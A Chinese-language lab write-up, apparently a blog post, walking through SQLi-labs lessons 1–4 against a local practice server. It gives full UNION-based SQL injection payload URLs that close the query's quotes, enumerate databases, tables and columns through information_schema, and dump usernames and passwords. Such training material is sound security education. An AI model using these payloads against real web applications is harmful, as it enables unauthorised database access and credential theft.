SQLI-LABS总结1-4之报错回显
前言: sql注入原理:把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
现象:
有具体的报错回显,且返回数据库中的数据
思路:
1.判断注入点
2.通过报错信息知道如何闭合参数
3.猜字段数及其回显
4.构造语句获取想要的信息
Less-1
1.判断注入点
http://127.0.0.1/sqli-labs-master/Less-1/?id=1 //正常
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' //报错
http://127.0.0.1/sqli-labs-master/Less-1/?id=1" //正常
报错语句:
可知用’闭合参数
2.猜字段数
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 3-- #
3.判断显示位
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3-- #
可知2,3列是显示位
注:
sql语句的执行结果只有第一行会被回显在页面上,所以我们要把原始语句的的结果集变为空,这样我们想要的结果才能显示在界面上。即将参数id的值设为-1。
4.构造语句注入查询想要的信息
查询基本信息
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'union select 1,concat_ws(',',user(),version(),database()),3-- #
注:
user():当前用户
version():当前使用版本
database():当前数据库
爆库
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata-- #
注:
nformation_schema数据库:mysql的自带系统库,安装完就有,记录是当前数据库的数据库,表,列, 用户权限等信息。SCHEMATA表:储存mysql所有数据库的基本信息,包括数据库名(SCHEMA_NAME)
,编码类型路径等。
TABLES表:储存mysql中的表信息,包括这个表(TABLE_NAME)
所属那个数据库(TABLE_SCHEMA)
,是基本表还是系统表,表有多少行,创建时间等。
COLUMNS表:储存mysql中的列信息,包括某张表(TABLE_NAME)
的所有列(COLUMN_NAME)
以及所属数据库(TABLE_SCHEMA)
的信息,列的数据类型,列的编码类型,列的权限等。
爆表(security)
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'-- #
爆列(users)
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'-- #
爆数据
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'union select 1,username,password from users where id=3-- #
Less-2
1.判断注入点
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 //正常
http://127.0.0.1/sqli-labs-master/Less-2/?id=1' //报错
可知是数字型注入,不加’即可闭合参数,剩下的和Less-1的payload一样,去掉单引号即可。
Less-3
1.判断注入点
http://127.0.0.1/sqli-labs-master/Less-3?id=1 //正常
http://127.0.0.1/sqli-labs-master/Less-3?id=1' //报错
可知用’)即可闭合参数,剩下的Less-1的payload一样,将’改为’)即可。
Less-4
1.判断注入点
http://127.0.0.1/sqli-labs-master/Less-4?id=1 //正常
http://127.0.0.1/sqli-labs-master/Less-4?id=1 //正常
http://127.0.0.1/sqli-labs-master/Less-4?id=1" /报错
可知用")闭合参数,将Less-1的payload中的’改为")即可。